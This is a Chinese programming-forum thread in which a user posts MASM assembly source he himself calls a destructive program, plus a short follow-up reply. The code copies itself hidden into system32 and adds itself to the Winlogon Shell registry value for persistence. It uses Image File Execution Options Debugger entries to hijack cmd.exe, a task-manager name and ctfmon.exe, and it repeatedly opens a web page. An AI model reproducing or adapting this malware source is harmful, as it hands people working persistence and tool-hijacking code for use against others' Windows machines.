| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 1034 人关注过本帖, 1 人收藏
标题:写了一个早上的小程序 - 算是破坏程序
取消只看楼主 加入收藏
onepc
Rank: 7Rank: 7Rank: 7
等 级:黑侠
威 望:3
帖 子:223
专家分:569
注 册:2009-8-27
结帖率:54.55%
收藏(1)
已结贴  问题点数:16 回复次数:1 
写了一个早上的小程序 - 算是破坏程序
程序代码:
;复习一下,发觉写程序没资料参照真的写不出来
;对api也不熟,越学越觉得没入门 ,注入的还在看。。。。。。。。。。
;难..........................外挂,破解,不知几时才能学会...-_- !
;好多东东要加。。。。。。
;by onepc 153785587
.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
;include gdi32.inc  ;图形

includelib user32.lib
includelib kernel32.lib
;includelib gde32.lib


include        Advapi32.inc
includelib    Advapi32.lib ;注册表


include        shell32.inc
includelib    shell32.lib ;

include macro.asm  ;ctxt("")



.data
;szExeName db '\RegOs.exe',0  ;程序的名字
szMutex db 'onepc153785587',0

szRegSub db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szRegName db 'Shell',0
szExplorer db 'Explorer.exe,',0

;szRegUserinit db 'Userinit',0
;szUserinit db 'C:\WINDOWS\system32\userinit.exe,',0

;;;;;劫持的程序名
szImgCmd db 'cmd.exe',0
szImgMgr db 'tarkmgr.exe',0
szImgMon db 'ctfmon.exe',0
szImgValue db 'Debugger',0
szImgSub db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options',0







.data?
hInstance dd ?  ;模块句柄
szExeBuffer db MAX_PATH dup (?) ;当前路径
szSystemPath db MAX_PATH dup (?);当前系统路径
szExeName db 100 dup (?) ;不带\文件名
szExeNameHua db 100 dup (?) ;带\文件名

szRegShell db MAX_PATH dup (?) ;改之后的shell值




hMutex dd ?  ;互斥句柄

.const

.code

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;检测程序重复运行
_CheckChongFu proc 

invoke CreateMutex,NULL,FALSE,addr szMutex
.if eax ;CreateMutex返回NULL的话表示创建失败
mov hMutex,eax  ;互斥句柄
invoke GetLastError   ;若有一个程序在运行那么用GetLastError得到的值会是ERROR_ALREADY_EXISTS
  .if eax==ERROR_ALREADY_EXISTS
    ;invoke MessageBox,NULL,CTXT("已有程序在运行!"),CTXT("Error"),0
    invoke ReleaseMutex,hMutex
    invoke ExitProcess,NULL
  .endif
;.else
    ;invoke MessageBox,NULL,CTXT("创建Muter失败!"),CTXT("Error"),0
.endif
ret
_CheckChongFu endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;禁止注册表等的线程函数
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_DisNoTread proc uses ebx esi edi,_lParam
             local @Rkey,@ImgReg,@dwSysSize
      invoke lstrlen,addr szSystemPath ;计算长度  
      mov @dwSysSize,eax

.while TRUE
   invoke Sleep,100 ;这样不会使CPU占用高
   
   invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,addr szImgSub,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr @Rkey,NULL
  ; .if eax==ERROR_SUCCESS
       invoke RegCreateKey,@Rkey,addr szImgCmd,addr @ImgReg
       invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
       
       invoke RegCreateKey,@Rkey,addr szImgMgr,addr @ImgReg
       invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
       
       invoke RegCreateKey,@Rkey,addr szImgMon,addr @ImgReg
       invoke RegSetValueEx,@ImgReg,addr szImgValue,NULL,REG_SZ,addr szSystemPath,@dwSysSize
  ; .endif
      invoke RegCloseKey,@ImgReg
      invoke RegCloseKey,@Rkey
.endw
 ret
_DisNoTread endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;禁止注册表等的线程函数







;一些注册表操作
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_DoReg proc
       local @RulseKey,@dwShellSize; dd ?  ;程序的长度
       
invoke lstrcpy,addr szRegShell,addr szExplorer  ;把explorer.exe复制到szRegShell这个缓冲区
invoke lstrcat,addr szRegShell,addr szSystemPath  ;系统路径加上程序名的全路径,得到的是explorer,c:\windows\system32\xxx.exe

invoke lstrlen,addr szRegShell ;计算长度
mov @dwShellSize,eax

invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,addr szRegSub,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr @RulseKey,NULL
.if eax==ERROR_SUCCESS
    invoke RegSetValueEx,@RulseKey,addr szRegName,NULL,REG_SZ,addr szRegShell,@dwShellSize ;这里是加shell的值
    ;这里还可以加多一个Userinit的值,不过这个启动在explorer之后 格式如下
    ;Userinit.exe,xxxxxx.exe 
.endif

invoke RegCloseKey,@RulseKey

ret
_DoReg endp 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



















;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;复制自身到system32
_CopyToSystem32  proc uses esi
                 
invoke GetModuleFileName,hInstance,addr szExeBuffer,sizeof szExeBuffer
;invoke MessageBox,NULL,addr szExeBuffer,CTXT("OK"),0
lea esi,szExeBuffer ;或者mov esi,offset szExeBuffer
invoke lstrlen,addr szExeBuffer ;计算全文件名的长度
add esi,eax ;这时这里esi已指向最后一个字符。是空字符。所以要减一,这样才是字符e
dec esi

;invoke MessageBox,NULL,esi,CTXT("OK"),0
.while TRUE
  .break .if BYTE ptr [esi]=='\' ;这里若是esi里的内容是\的话则退出
  dec esi
.endw
invoke lstrcpy,addr szExeNameHua,esi ;带\的文件名

inc esi  ;上面的循环中,不等\时已减了1所以退出之后这esi指向的是带\的文件名
;invoke MessageBox,NULL,esi,CTXT("OK"),0 ;这里esi指向的已是文件名的开始
invoke lstrcpy,addr szExeName,esi ;不带\的文件名


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
invoke GetCurrentDirectory,MAX_PATH,addr szExeBuffer
;invoke MessageBox,NULL,addr szExeBuffer,CTXT("OK"),0
invoke lstrcat,addr szExeBuffer,addr szExeNameHua

invoke GetSystemDirectory,addr szSystemPath,sizeof szSystemPath
invoke lstrcat,addr szSystemPath,addr szExeNameHua  ;系统路径加上程序名的全路径了
;invoke MessageBox,NULL,addr szSystemPath,CTXT("OK"),0

invoke CopyFile,addr szExeBuffer,addr szSystemPath,0 ;复制文件到system32文件夹中

invoke SetFileAttributes,addr szSystemPath,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ;设为隐藏属性

call _DoReg

ret
_CopyToSystem32 endp
;复制自身到system32
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;






;程序入口
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
start:
invoke GetModuleHandle,NULL
mov hInstance,eax

call _CheckChongFu   ;检测程序有没有重复运行
call _CopyToSystem32 ;复制自身到system32

invoke Sleep,200
invoke CreateThread,NULL,NULL,addr _DisNoTread,NULL,NULL,NULL
invoke CloseHandle,eax   ;这个关闭线程句柄并不影响线程运行


;加个循环
.while TRUE
invoke Sleep,10000

invoke ShellExecute,NULL,NULL,CTXT("http://www.),NULL,NULL,SW_NORMAL


.endw


invoke ExitProcess,NULL  ;控制台,好像设不了热键 所以这个基本没用,退不出来.^_^!

end start
搜索更多相关主题的帖子: include 注册表 资料 
2009-10-10 11:28
onepc
Rank: 7Rank: 7Rank: 7
等 级:黑侠
威 望:3
帖 子:223
专家分:569
注 册:2009-8-27
收藏
得分:0 
哈~是啊。。。
这个是练习的。复习一下。不过现在那些软件都hook那些敏感的api了。这样的代码基本上运行不了。
2009-10-12 16:29
快速回复:写了一个早上的小程序 - 算是破坏程序
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.092840 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved